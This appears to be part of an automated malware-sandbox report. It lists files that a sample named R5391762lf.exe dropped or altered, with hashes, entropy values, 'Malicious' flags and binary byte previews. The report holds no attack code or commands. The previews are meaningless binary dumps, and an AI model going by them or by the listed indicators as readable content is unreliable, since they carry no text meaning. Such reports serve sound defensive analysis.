SHA-256:	763E1C1049104F585F73FF515ACC17C834CFADB81EDC9F5312D4380A54035B09
SHA-512:	66D404C5CBF0E5C50C9B49E73A4707845E63038DD67A387C9FE6069402B7177815804E60940D2F16917A419AC480D4174FAA3809C92975137820CAD8799F83A8
Malicious:	false
Preview:	CPSA...i...O....Y.:.U....MV.y.;.~..>.?H0.{a.i.."...l.).#i....;.h......}f.G..5.t.........0f...r-.j.........E.,.1t.r..E.....~.....D.r...F..'.......\.......A..~^_......b..@^>_k...W+..x...._>X.zs.............?............ D..B.....D...M~.....o. ....w.....wt..5......{..$. ....1.\|.a.&...)..d.nv'.tIs..'[b@$......#...l.......>.L....$.........az......cc.j.+."i......"..].....!.zN.n.....'t...Mqy....M..p0Sj..a.....m..2.1.N.6.F.n.._...D.^\|.....f.{.B.4.....:.=\.+;I;..CA..6.4...B>!.....i.WN.4a.a6.......8%2O[.&.u.L...x.f.Y..1!..m..s...f)@....c.Z..T.E.GO....7.. ..`...7U..F.7.....K......b...3.,.f..{9..bN.B.1..Fj#.)...%..?...=......2W.*dN.#.u.q.....x.W'....~.!.6.6.}...c,%.>...pja...$..S2.}....63....M.]\.z8.!.c...=.....>.b.g.xU'u...h[... ...9u..........R........q....rR...eu.@...O.}5T....6l....u..o.D6Z3@...%.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Comms\UnistoreDB\USS.jcp

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9787562904674845
Encrypted:	false
SSDEEP:	192:AabN4aGZUrB7zvFAF5Hh0bKRBaAsu/faq1U62+Q:AabWaGq9f6F5Hm+v6eUp+Q
MD5:	E5D53A6F0FFB8F2A5EE57C41012B2E1A
SHA1:	DA6BAE1745A282D8CBCE60DDD3788E1CA43569C8
SHA-256:	6C64C2E2045C5A801B680014822CD4372DBBD16E2F38233E0D1DDA9A66BA6FE1
SHA-512:	3867FC2492C421909E949154EA0D5D8AE7C05E06F97F470DE159FA3E1A6D922726C0517E40EB85CD89C34124F63656AAF324369284ACC32D59307B244695C6BB
Malicious:	false
Preview:	.M.#.A..^b...X.....g.V.P%.N.....iWa<P....4..J..v\"yqr....;..#........h..?.YkA.\|.@...{..._...W.d#Q$.?J..Eg..Sw....y]N._.....ze...c.`..q.HT..s/..=....e..h....^......X."<.~(0....m.^..v...<.u.+Z..._qt\|vAI.&.O...;....g$w..c.,'...e.l..~.J)....../...Ai..iR....(........c[.Fb...A........p ...Pk....A50..u91..f..ogs.]..H...m..V0.$.LE...\6..[..!...Kh...c....7..C....6............EV..%..o.g.a...0..g)....T.........n.8F.Hh...~r.k 5..`.l.4.ix..)V.......^.l.=.....r..`..E.Y...TQ.....O.:.r..n2.d...8.........)......s.{.T...i.k&...U`1D5.>S..Ez...._...x....K...^..{2.[..K@.T(..U..0.k..x....r..h.J!.u.=+v.....mp. PA.@.v....B.].:.,.. .T..h.. ..u.p...._X<v..!..4..o.....>w$.2.1V..t....U..z.....+O}$..qR...C..~s..z...sI.;... ).$.j}K.....CA....,.=.o{nc.J.R.k..4.....D...5..U$.].......H.Y...%X'I..."<#M\{RA..Bjh..;D.I......*..1F.q..X..b...A.<......}yp.1.SZ..U..f+....M..6J.2...'.gu.......Pf..7i.=S.........E..4..(.....O\..{c.#.3..%O...D.F.\|L..(...i.\|cm.x5.5...m.....25e.^

C:\Users\jones\AppData\Local\Comms\UnistoreDB\USS.jtx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.730896024946119
Encrypted:	false
SSDEEP:	6144:+SQSCTo7EYC/LP0ctpr0WPo3agO/qqv4RROYdVbtzFnrG5J5qh+AJ3TGXZAcbBVY:+SQhU/C/LsuprxfCdYST
MD5:	380210AC17F2E20369A99A2F5BB411CD
SHA1:	FC6DDE2D014E904AA42876C8D01DDD2409F2CC16
SHA-256:	8A38D150F548E1E31D08E551694FC42DA571BE00EDF322124E3F076BCA7A0489
SHA-512:	49F0610A90C3CEB043D290A9C78102FE2F6B237752D18113DE2049821CCE058D113B7A751145D4AC0399AE3D41419636B3391865E3BD2D91A0EDC2E2645EA625
Malicious:	false
Preview:	...?..zy..^...a..R..M.T.g..,.....}.<4..U..K.6s9:9 .......mK.._<..@..a..E...MY...N..4. ..0BW..#.-...x......M.kpVs.n+.A.ii..f`.2..=.mU.1-#.....&o..o.....<.......r.u.sx=:.hs...8K.o..-t.D(L]..._.m..;.m.....=.B=..\|s.t....Ss.#....}..>]...@.."ZiOf..Zpb..3..c.....%.f,aD.\.Sa.....j... A3..`.T..B,7.H.U7.u.h.?.=.I.s..m..G....=.O.... l=.:0t.j.,g<..?..~..o-..U.NbW.....7\|....7.(pa....qt+.5..........;...5.:..9D...A9.....a.eF..xl...5.........,VII.E....p.../8.Tyz.=..cd...J...........;.1..?.hLo.<...[..Y...d/3..Y..}......I4.K~...C.%S.!.g...1..~.1qhJA.p..8g.J.v+..^(B...\T..."3.{e.....c.....k6FFzKc....ia.."......R=..H.(.....S_.AN.GX.:E..,..{.nE.K......j).x...J..,..&....A#w...8..OY...7?].:...P...F/..$.]Q(.a.@.<e.nq.u.....+....O..`gb.*...c.y0.%.o..5....r.!.6u...gzq..i......E.....Z:..Kh...T....ND...\~..$..\R..g..K.}....g.J.tm....O[..x.kd\|&9....O..i.p.1n.9.am.<L.G...-.d...$.....-.q.../..R....(~...........,.y........&.>....@..j.!.WL[ v,.8g...I.C......\|

C:\Users\jones\AppData\Local\Comms\UnistoreDB\USSres00001.jrs

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6707727903347009
Encrypted:	false
SSDEEP:	3072:mrHKT/bNOc5xIrvJzTJgn85G3IToBNNPm8wXhoUhah:ASbNOc5xITtNgnf3ITCLPm8wXKU4
MD5:	38A5F887713247B7C36951D6B44D97C8
SHA1:	51BCDB380D77380936C498BB9896A1C353DC96E3
SHA-256:	F218E299321CF6B13638A0E16C7C005011CFEF648B5DA63E3938D13CD9C07F65
SHA-512:	A661047799688768F2688ED9BBB879C67B8E37319F5E765F962A8F5E4E92C00DE0FD63E284748B8FE7CD1F7D0120B898D4669873CA8EE005C01DF211D0D93261
Malicious:	false
Preview:	........._.......b..9._'.K."/G...9..G..?..E.<.i.v.R.`b...IM.......5.1.....7..z...I....9. ..T....X.v..p........;..k..f`.8.......p.H...4X.....H`...]9`.t.....0I..%.E.\...ai..1F+95.B3.y...;......F...a^..$\|......8.n.Q....\,.J.g./J..ta..p......?.....k.S.....9&....[..}6.q........1.]..]. ....?Wz.=Lo,s._..P..6.4}..t.a.}.{.;..S.e.TJS.(.@.R......7.uHD....]...S;4P.....[/.\|@&.s.R.I..^sB6.t}.....}...W..56s.....e.....p..uEv=....MQ.M....x]?\..N.k...3.........uG...<.M........A....J}..#... ........Jx3...kh .4.F'$.\|..Fw2HE....G.2..zd........H.vC.By.y....b....."a;..15.R..mq_Ak.c.O..G..b..}A...f......Y.v.z.L..........!.2$...6 .rv.;T...Q...........:Ev<!...\.......C..":IHZ.....R..G..6M.i)......&.,..........<....J...l..OYx.u.u..K...--...i...........,:.a.O;f......G..v.p.B..\RCr...Dd]....]S.....J76c!H......Hm.o.f$.....wX+...,/v..n..n'......I .w'1..v.W.T!....,.R.=n.A.J. .I$V.:.$.y.R...J6B.n1Gu...]}m~!mn.T..JN..QT9..].0M:.\SV..rf%c..$....@Q>.w.....=....3

C:\Users\jones\AppData\Local\Comms\UnistoreDB\USSres00002.jrs

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706194136140412
Encrypted:	false
SSDEEP:	3072:+O7wbWBeS8DzLQ8gbmMQUA8daYcT8orU6FvEwih2aD7BSfxxEl:abWoSmQYwARRv3gqxI
MD5:	DB27BF9B8449E28CEE4D58165000DB98
SHA1:	0BC74849167A8A474A287004372D8DBD57F74BCA
SHA-256:	43F0AC7E4A4FD63AFE9432D376DB40C7566FF572ABCEC46A0BAAF8A1C4338382
SHA-512:	BFE6C007919378688CFAB23F2F83D8BE4E83DA555B3C15987B65C02F60EB63BBFB0D0BACADAE107DFF41339FC56C7E6C899580B3CA16C8371B60AC97399EFEAF
Malicious:	false
Preview:	......#(...........3]...5x^.......=1..).qb..iA./=i..d......E....Ox........#.3....6...........7~.o5...U.......+K....0.).3T....S..F.M.ar..\|O...c-......;f.^-.#).o......D[..2LTUMM.+.:..(..!...l..,..9.-/o..K..1.$,.uJ6Z.+.,.\|X..I.<.c..n..[1`...8.AH.....#\C.9...1\|L\;..k.].]p....)O.)..m.y<..2_P.P....N.e...o...wb...,....p;..'.9...w./......>.......t..n.p..!....U......F....KH.l........&..:........apP$.w....&n...t.D...e%..Y..{<O...Il..t.,.w-.=...\|.Be....m.IW...........n..^...9....&.^.d....8..[...A%P[..!.P...RQ...c....=...#4..E-..QR.3../..../..".)...V....Y$...9S..E..c...h&W:..[.c...O.4W...nG..w.Z...[...d.-WQB....H.....6.\.N.oE....Dc.#.{...^...Q.LW...t...G..v....".X.........}!....s..r...\U.;..;Gv....nH...R..... ..b_.JK..uB43).I...8..O%....F..W.~u~.A....}P....,.....$N...u3.Q)e..L.TB..-.....wS.$..].=.B.....LJ...S...>.J....s.h........Z.dL_[.......U...i.>.1..vQ....==7.[..0.'.!...BE...9..!.n!.o.....eL...o.,..........).\.....Z..=..7..0NI...4*..%.4

C:\Users\jones\AppData\Local\Comms\UnistoreDB\USStmp.jtx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706546814504333
Encrypted:	false
SSDEEP:	3072:YzJm+wBOo/ogRGlANxnNXqOnlZzQrYtf8KbKGpgI3yDlyjoUS:YzJaBh/pRGlAnnlZzwufpuYglEjfS
MD5:	1A205063B61ACCA6A87293C50E7B4D9D
SHA1:	394592651C2C7B128E9279E452B66F1530C67729
SHA-256:	7E683400EC4F66DA0562CD79E866B025CB21E6BD7895751705150822476F7971
SHA-512:	E6BCA237711C89EB7D5FE52D0D1F279226039D9CD9042F4F61EC23B9B0CC95B1675DFA95DCED428BA0FF23289778A127F9B3BD97A56521EA9472A8B73C805084
Malicious:	false
Preview:	......)~...A<{D...4....D.9.s...@.#dq.:%.`W.{v..u^X.......[.....1..;.....&.../...j.UMl.G.i.6r.......0.r0..h.y..?d.g.1+t.L).6.[..5.F..G.\|T.C.z}.......c6f...'.......5.pLV.S..O..wp..x/au..IG0ZW.t..).7..&...^..7."....ZN..2..'Cy.Fx..(#nnV....$G...}.$...<.".?YFA....{..L.-W.6:....7..[..2..1M4w{.i.....\3U.S.........}a...........+.d...NFe.5Z..$..9.FY..t...u.....R.&......?qs.9''...Q8#...s...&N...%o....]/.......$.g..%L..9./Q..R.J.>...)j.v$.S(...JD.4.N........C..)O.\,.o.E.....z.....}..yW.X.......~....._.......CYK.[rW./......Z.kn63^yl..y..&T.x..0.[ia..K.}.....V...u.\vi....T.g[.E.n.(j..G..>{.......mu.......j..5Q..s.E.t.7.Y..R..5..9h.Q/;.....:.`.{.....Zh..jM{.nu.......S:..q.oq.N.L..'m....UP..0...H.]h.#.......t.MA...f..IGL.t.w.+W..TV.JS..........x.t...-\|;x.6.+..r..W.l.X\.\2...Y..,.5_T.Ab.o#.q........r].Vo..n.L._B(.u.n.U....5*b.....Ir...c.z.I.9N.k\|....W...9........5.bJ..^...[.R..t..[A'......<.23.F...2)..b..t....w.S\<...bTV[.%..q\<..n.s.v....[..9....

C:\Users\jones\AppData\Local\Comms\UnistoreDB\store.jfm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9887311938737655
Encrypted:	false
SSDEEP:	384:F1hg1OePNm6o8j8QxhSIFAbKmOot9q0jHuGqFdgQ:jhklK8QQPSzJ9Xvql
MD5:	CCC6BCA0C016D94E2E8721388FD94737
SHA1:	84652626DC07BD49817E0BF6AFC302B98B06465D
SHA-256:	56C87DE62D828395E77E6D502787DC6D95980B2AD5F667DEC476C051300E6FAC
SHA-512:	31F7E9AE2DCCB43EEAB462280C9040489363BD55A4F45F9A113FEB417DC6D392F5A32A42C23AE561A39316F4E1DC74FBB1F72F1D93E0EE662BFCF2CAB2BAE550
Malicious:	false
Preview:	..(.......x..Y.2...4^h.......!>...0. ./s.Dg.0...]..t(Jg..Nc.&@t.h1V..t, .Z1qX[..Zr...Xy;.4Lj....^gbXS...Keh.-4F.\.".Rd....P.EE.!"Q...L...Z'"=JZ \.>..,.2....6J...?...p.......;.O=..'"2A..d6c..:..v..".U.[.....C..1h..z....c.(....x.3.h`cb.j.;..........oX.+.^.).....c/....$&.A.......^.Z+...'0.<...$ee.iY.U.:..#.O..tl...h.W..J..o..^..f.x....N'YC.K..ae....4....3.v 0.Nz..J.....-q.&...\.....wp........>".N...zHF.{..."2....<..;...#2.........'g...K..!..........y$.....Z.&_...".F....i .A.N][$....4ue....aD..U...[.l..c.n.S.........hG!.>F.Y@......PC.f..^..Z....nw.q......!^..;h.....f.[.{..q.)..e...<.+...1.J....3.<..(.f..ATD./.....V..............].!.D........n...h.L..q.0 ..k-.... G......E.....?.+u...........D%h....[...J..;#.7..z..C.\|3.2,..x...5tK..!C..`..^nSn....6..m.Q..S.#.zfz.].e..Y..b.L.Z.....!6^2i.%yz{r.=4..8..$... ..Fw.m...l.....e...d.J~3y.R..N.8............6...4.]`:....% ....'V6..(...I..4&.6..........qj...h@.b.k?...F..0.....P?.+....].JR.C.....l;GR...Ypx;}

C:\Users\jones\AppData\Local\Comms\UnistoreDB\store.vol

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6291790
Entropy (8bit):	0.7008218173259306
Encrypted:	false
SSDEEP:	6144:pEwmrwJSRNwP5Bb/NT8u+bl6D5xkzeRzHGsSa+d+gOrOuWxWk3m+cun4CfYjUfS+:pEwmI+eB/NTral6D5OzehGtR3b02
MD5:	324069A059938D3D36159B5B3AA9497A
SHA1:	6C27EB3E7D79A33B74FFEDAAB2A601772F458CD1
SHA-256:	C6FBBBB174A91927AEA80B237B777E1F3A823D6E521911E9FAF861A847001661
SHA-512:	A712C78AD5291F4527D4FCF09E2338CF43113D9385BD358DB3901CAC73852DBBEF05DC038B61EFD8948F6F58CC9217639B12803226F7F5175E6682B7F7BCCFC0
Malicious:	false
Preview:	... ...&^.....I.WC...1. ..a...c...:.5..E......V..qS}W.V.2D......2....[=./...L....... D.N-.:.....>..$e.{.G...n.DYT.....:.L/...TeZ..V.c1=#z..x@[q.b..U.,.Or]I.dG....9........\|k.&P.(.pL..).l...p..* xp^.._3.3JdsY.\......$...Wy.d...J..5.R...{.....g...s?.a..1..r....BO.z..9m.Tn..s=).U.'......"...f.J.G@99...Qq.\]A..V!0g.yF.E.......s....3]\|......vX..~v..s.../..O.et...4.j[...H....P..%n..Vnt.[..>..)..m1.....E.$..F..{....:0.\|...&..& :_W.Y...........^4.p.v!../.C.K..L\k&D.C._-.O..Db3..&.N. ....&.....x....t.?...k..>.Y..\|....bt....UQ.]..!M..;.-.2+...gC.-.M...".w.7i.Q..Q....'9...8y..w...(l.B..$Gx.nL....j.;{5.w,.p.1...w......9....x...... p.H.D.M..S....p?..R.8Z...9.v>'..n'COV.d6...\|..Tq....,...R...bU).......uM]6..7..>...9.@......#..u....8PS.0.V;...3....;..\.Y....F.jGaA.xBx.P....>.}c....e.\.s+2...k.-..T+...m.-AU......].Q.0g..u....x...E.Z...BU..&n.....I..........n...<...e..Vd+...h,./.r.@c...".p....qG)...&J..Q..[4....R.^n.......E.4G....zm#uA-.x.B..Xa.k..i"h....R5

C:\Users\jones\AppData\Local\ConnectedDevicesPlatform\L.jones\ActivitiesCache.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	2.535489042977209
Encrypted:	false
SSDEEP:	3072:Dm37z4xjcnvFjCHQ10U2cYNnoEpiNPCQWBLUw2iTxxQnaX4PjHNATkqAm4HNA988:C3QjyvxCHQ10UaNDExCLD2IToY2v64Q
MD5:	A812EB3A6A5F6DD970940202CE22C919
SHA1:	47CAC8DCEA3B91DC6EDFB9E05B93933DD78EF724
SHA-256:	35E01F2E0B4B02F4AFC5E2628C6F24A5D244D7952A73DFB449C6B351DACD3916
SHA-512:	B66B37C634285CD950C6F3957AD16B9FFBC56EBFE5D8673BC3890928DD3F6D70035D925AF1BDE739FED6BAB1E559485933F33B257F4A1414C2AC7476AE87F128
Malicious:	true
Preview:	SQLit/,>.e..,.c.....2....H.Ina.G%0"&....e9..'.,....D.h.&.q.....O....a..........pa..lM.~z.~...aWx#..G8....e...5.....3.!Q&^`h.n.7g....>.z\|.\.n.3......,!.I..F.....\|#.'.9+..<.J..?c_=.H.}.N.....n.f.A}0\|F.G....S.G.]-.....38...&gB@...}..Y...c...C..^..s./...d.W..$.....y.&cx..6.].[....S.)z..b....M.\|3C....#.../"....^.L)./..x;4.3..Tj.U.53..^._y!.'z\|xG.fi.)..\...L....../...m.....d..\.XpLL)l....r}..`r..l.....c...S...&?......?PD=gP..'..&.f..._..s...?....&b."(..'..K$f.mI..C..........!%.k2.A...._u.q5........PM)C....d..2.0. .X.....p+..E.x....E[.gJg^.1$Rh..E..1/.2..,.`ao..0..R....p<..6....=#...5.....&..\|.........n..O......#.B..E..... ..-...$.p.'../..I.d../Z.lk....R...Rq.B..\2.......).].......g$.#..w...x]....@..3.zJ....k.x...~.Xu.4....\|...qN+SU....d8.S..5.8....G?..>.W..Y..C.......vi&..f.'.6B.2.@.....GD ..~.....,..".2..Ki...b....;.;.7. &.3.#....A..S.d..f.yH..,....]..m.Us......_.9...Y....R...FJ.....4..\|. .$.F..K.3...."...[.kR$.l.B...3s{.K .F...

C:\Users\jones\AppData\Local\ConnectedDevicesPlatform\L.jones\ActivitiesCache.db-shm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994384885629373
Encrypted:	true
SSDEEP:	768:9GdVOU4ZALXkG6KY9zLPaQsXjfb3+BLdS:9fUJLXkG61arQc
MD5:	43DEE1233673A565420DCE6B57DCAED7
SHA1:	A740E900B981D081800C189636A8F1502C7A6628
SHA-256:	38BA5508DC6F82960839AC6FCD07987649EEE9A284B339FBAD84B00C50C68E07
SHA-512:	A7E4DF4E9C5B6E28D2FF7ACAF78100DDFFB50B5565E86E02F624D2466FFCEECDB81063B83EA4C0C421027CF26146D9583558BB1CA5FE5A079F4E0BEED1A90BA1
Malicious:	true
Preview:	..-....;[E..........o\]..&..};.%.f.b{..7e+...vL:\|[.TN].{.j..R..+...k..U.k\|..+}unv..B..$p.........O[.......keo.........<_<z@.....M~z.\|..F...7o'..A....b.u.....=fp..8^"......P......{..<.............=6.b..u<.jw#.FSt.........hw(?0.+....^."H..N.,.f.......0XM....e........8^..a[..c.....s......S..E?.h14...5......R...<..>...>.......l.[.-.M..X.\.2\|.Zz.>s...C`..}p....#.s.f.........`T...=....Slc.W'Z...)...4....x...!.\..%.{.=.<...S....>..;S.\....<h..3I.yyJ.........%.u..r.O..'!......B..q........%.Z..Qo..Y...8>.A....T..jJ......5..../6B..R.).S...q........1..mTec.a....A..;&.c...z.U..\|..[..Y.N{.R7.f..b....+x.Q...Z1.fKk{..!..._.$....g`....../......rN\..[Up..y?..<oi...'...%....U@?&.Q.&..AI...a...{.......d..f.#..s.7.D....U.WW..fK.J.....t...r..2Pe......]..j...Q\|...7w....[@..rJyxs0....V)H.....t....D..I.(...yE...yi.....M...$...qB'...$..-!....x.[.&...'.&...f.h..4.....&.eg.o.8'g.~.........:.1..$.Q#lG.....T..7!O.D....a..V.}+.....b..im.xsd.rQ"...\....9.u..3(...

C:\Users\jones\AppData\Local\Diagnostics\1612347604\latest.cab

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	11589
Entropy (8bit):	7.983384418480285
Encrypted:	false
SSDEEP:	192:d710rEor61dAoRrcEVBxJSu8zmYxu7syU2IynJEX+86uRZjpU+kx4O/OtGDCkQ:j0oN1d4EVBxJSulYk7NfIynJEXu6WSGe
MD5:	513B123A08E00176F044519964B7568B
SHA1:	060BA19A174EF349A0C99758F49720C4C26582FB
SHA-256:	CE16F9243C4F8CF1989D2C879FA6AEA4C22D73FD65F1E1697537262556FCAF96
SHA-512:	BE1528FC192D3732A7FCF9E8EDA024153C5D9BDA031FE63A174A825CB876D3547A44C99D01F45A042C20C6CE9C54818D2C157A15779E47BA5AE3E8FA06A90324
Malicious:	false
Preview:	MSCF...r.........8...K....o.q..h&...d...Y.t.%;Z..'.Q.t...v..gFk.uksoD...X..h.R..n["......uRj.,.e[......+....z.U..AE7...azrs..}.V._......p..w_nn(?.~.X....\|...W...5.S..P..b...>w.L..b.$mj...........JDb....?N.w.i.#..[hhJN...6..t...cu+........Q..js.....kR..o...\....b.......8;z..7.'..>.w.....g..<u.x....p...c....[s..Q.......p.o.8<Y.u.N`..dBW..z<..X.T..W^s.-.....VN..h@....\k.%3....h..Hp..-..`...e.`.3k..x>.....+...[=.T.XS...@.Yn#..j\|!c.0........a...A./...1..y..m.l..>u+k..z.....`.6...?D.........=?...y.u..$...s..PQqY..>...L...Gz..EM#...V.9.z.R<fy>.:.M.C2.0..]9..O?..w..(.j.........km..d).......].JJ..,_...#...8S..........rh..tR..h..'W.}F....P%."S.{/qw.sWS.........hj.o.R[!)..F.....Mc`..%C...],..E.Fid..m\......L%8...k..4^..P..=..#..l..^..Y..:.U..3q.0R7.....'c.o...E.$...N%/....U.5..m.2%wd.F.K..v..5....I.k.J.Y.........@/.7$.}(..D....u._............P^.MWs...V.h\.R.\Z.).;m......L..2o..A.#I..].b../b.q...?B..=$!zLS...Y..)...E...h..........\|.O{.w...E

C:\Users\jones\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651BFFE6-228.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.8490008195036655
Encrypted:	false
SSDEEP:	6144:G5+50xXrYiaiHazDsOQrOqF4f2pVVO+4aHPaD0AX042M:G5+exXrYiaiHaMOr25CkdM
MD5:	9CB21C7805C08D9D4A8AAAD182694B72
SHA1:	AE9A036361601ACBDB45BB374CD43332F63C9C38
SHA-256:	3121B595119002B18ED8074822066F49DF3A25D06818488D9BB223203E4289A2
SHA-512:	1FCE1FE31312268685CC19A0BBE05D41338D37D4DB1B918EC086EB4343E94ABB7D102F3D12AB1D6F2D71ACEB5294EE5529836630D4352821C5DE94E736359A53
Malicious:	false
Preview:	...@........u..I...i..hp.......@o...j`.9..CI.!.....X..j..JB.R.1.p_FVF..U.V..<..i.....X....C...;....F.T..K...........Y.i\...R..;...h?.R7:].......+..F.....@t.v...\|.i .9J(.F..2..W.b&. }.....8.1....>.l"VC..g#............N;:.~1Gx....?...,..{.ZB....,.."..&....}....u.TvB....Y6W1...L.....J....S...b.O...S....@)t......BL"..;....'$..w..:..P@.>..hK....[...s.qB.F.b......,..k.....$....g.x..S..:.LLN.o....j...;p7..6...........?.6....nz...''kR7..l. ..P..EH.q.....a. ..g.T...p.Y......1..3T.o....i.b..W..&...6....ezz$.J.bR..49.w..y_...W....!.7[.F.x.-..D.8`[...+4I.%....0..Q....._....D.l.yC*..yUd/'...=8.e.&P.`-.....c}....Y.H..z..........r.(.1NVk!..3....A......Bw.IH..I.V.u.Aq.i./.5./..8n.vy.l8Z.....-......!vT....CY@....V.a.s.Yw..q....v..?bP..............s#;?.B~.,..G..s..Y...U.a..&.0p.D>..{+...z..Kc.k....w.CN..:.#p.h}....G@..u.=>..`.:.k....HR.>...L.I.N.d....Ou..^..;J.......wZ...S.....vM.[.:....g..-..&.1V4..C.y4L.0...........k..f.2.....G>#5..M8-.'..KK....

C:\Users\jones\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651BFFFF-BD8.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.6754849939257956
Encrypted:	false
SSDEEP:	6144:xY/wbmfAfLvN/pCPNHC6FrWBc1CnWtedXsaaHQ+2:cwTdkNHCIrWcCak
MD5:	E4AFB9145D05DE263F36A26820C8A65B
SHA1:	FB69E18AD121F93D1CA2D94359D5E6ACA18FF978
SHA-256:	EF5F2545859D019D075BD3D5AABFCB981DC131B2F8543F959A5639DFE3A02656
SHA-512:	2022AB056FD4AC03E7B169AD71E9290CFCE42B6D09D1F80CFACF0D790EF1EA2E47C84202AAD43515D0378C0B87DE3E790D5B181EA7A83075455F16A15DE3D6A2
Malicious:	false
Preview:	...@........lr...........r.....9....`4.....6w..[..l.......x.^..\._.K.j!0..{.u..4'K...jb.>..^.]2..9...CZ.....{@...Ci.Q9.E..b...74<..;1h.w........-..)n....AG..l.W...\|.H8..l..F..}O.M./.Y....-.!.v..N.3..b:R..X..K.....a.i.....d."J...H..n(<.{6r.TM.:...a....7...U\|..._w].m.c.A.#....'`V.."X.OER.G..M..S..([.:....N?......$-..dw.Y...0'.........z...7..-..r\&.!h.03V....{8...L..&.w.'t...u_+....au..7....\S..&F.R._.q .../.......5%R...c..nH:...\|...\,.f"1...`W'6..[Vb.b................&e.k..4....DU..0qD..^..t...X...l..](.........g.r9..:.\.D&...... ....A.o>QM.$Ln.K..r.M...]..c.TK..H.T..cRb..X._.........1~..cTJ..b02c....m?.}..w....ia.....x?!..q..Dh.F..\...%.e.0.NI.c#...&.....P!...Ie...>.8..q...O.....w...L.:b(6oJS....+.....*.}i.i....pe.Tsbe.-.E.=.[....\.SO\.S.M.M...0/...]ts~r.@..{:M/.W..>......k^U.C.h:...uY....Q..z.....fS.$_.)~i5).]8.....V.E.G.......JF...B]V.}.\|....B.U...Rl..hG7..Pg.uH..(......j....w.}.9...h.... ....8. ............(._i.X..G..,.EJ..}..:.3....B.9v..

C:\Users\jones\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651C0414-22F8.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.6790140368468276
Encrypted:	false
SSDEEP:	6144:CJ4uPBCETMMqtE1fQDWFtklf390EevNYR2:CFwM7qmICFK5MNYs
MD5:	C42931ADC21B868E026775CFDFB892E7
SHA1:	6291110B8794C550B11643581E99A50D4467C20E
SHA-256:	16722C50B39280F50062DA756029A685B2A6DD28E5F7CB3CD12436DA513D49C4
SHA-512:	231D30E06D77961F91B7E331D1D86BF0262D45E4218168449BBD08839EA233F7268EA6E8BB080DBC4516FD45D9A954D9AA95F4D6828BAFF0153EB8367F0751C6
Malicious:	false
Preview:	...@...t.......s..IC.....K.i.....0..N$,..r.++.k...?.OAu....X.._m.N~B~yw!....H.x..."....9....xf...m...\|._.4.D...2~.v.s~(j...%0.t.!Of.....".4..Cr......l.&...:9......W..B'..HQ$.`b.......di..zx...a.".k.A]yF.I.E...Ri!..O..4P..../..........\.v....E......i..X...(.k.....D..A.U.:b9....%9b...DV.B.`>..UQ?=...'s...F...d@XWF...@;.../...!&.7[?..@.^.5#F..NWk...!.5zG2..........}.I.+.W6.:~&`.6..8.$?.`D......or...+..S.f7g.t..[..d..0.Nz.._.i3.}......R..$..Q.:.........>6...Oo.w..Sf..v\.OR...B../L...-....uUZ...O...g+..21..d...\|.2G...N..B...B"...4[q.GF...i)..$..Q..Xwt..'A...3R..4w\.....4......x2....r.H,a..0e)...}..161RX9+e.+..AlY..&E....K.&y.U..*...=B...#<>.Y....jU(L0......0...k.......;./.h.7.....Q....c.`t]@.o..D..vq.a<.....}DV.....T.N1<lj.8..A....'A9..W{..YX..R..]"......q......6...X....b..D.m..:.l...~....k.f.~...k.Db.$.x..]7Me.ge..0..z=Ulo.F..h..y}.s....GPC>...r..3..".1<.pk.p.g...v.b2..o.c..X..N..q'}b...(.....z..m.?l.)wu.h.w.H......Cu.$>..u..TXK\yg1/-..Jg3...l.

C:\Users\jones\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D225D-18BC.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.6746529329651055
Encrypted:	false
SSDEEP:	6144:PRSrFg714ee7/Mx1WRp3kiekK6HNCLnAaq72u/HlXEZU:pSrm3e7EvWR5kL6HNf7NHR
MD5:	EFB0E50A0E8634A2E4A4A69182653BA7
SHA1:	08E6788352B6C51FF64490ADBD470D418D9CC3C9
SHA-256:	D8CA6BAF2916160D9A27EA0E40AB72A24C37439690AC7E98E6A05BC062E1C4BA
SHA-512:	189398198EB622D11CD38972E2E0A22E9F54FB29463DC9E4927A31FB7B9F17EC464B469508B02FBE540EA1559420A57B7962B5D92DEAE9A04D744466E81197F3
Malicious:	false
